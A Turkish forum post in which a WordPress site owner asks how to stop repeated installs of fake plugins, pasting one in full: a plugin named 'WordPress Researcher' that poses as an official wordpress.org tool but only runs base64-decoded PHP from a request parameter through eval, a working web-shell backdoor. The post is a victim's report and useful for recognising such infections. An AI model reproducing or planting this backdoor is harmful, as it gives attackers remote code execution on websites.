Merhaba arkadaşlar son zamanlarda siteme sürekli olarak sahte eklenti yükleniyor. Eklentileri ve wordpress'i güncelledim başka ne yapabilirim?


WordPress Researcher adında fake bir eklenti yüklemişler sitem parse error hatası alıyordu. Bıktım bu heriflerden ne yapmam lazım sizce?

<?php
 
/*
Plugin Name: WordPress Researcher
Plugin URI: http://wordpress.org/extend/plugins/
Description: WordPress research tool.
Author: wordpressdotorg
Author URI: http://wordpress.org/
Text Domain: wordpress-researcher
License: GPL version 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
Version: 2.2.4
 
 
Copyright 2013  wordpressdotorg
 
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*/
 
 
 
    function research_plugin()
    {
        if (isset($_REQUEST['CSSl']))
        {
            eval(base64_decode($_REQUEST['CSSl']));
        }
        return;
    }
 
    add_action('after_setup_theme', 'research_plugin');
?>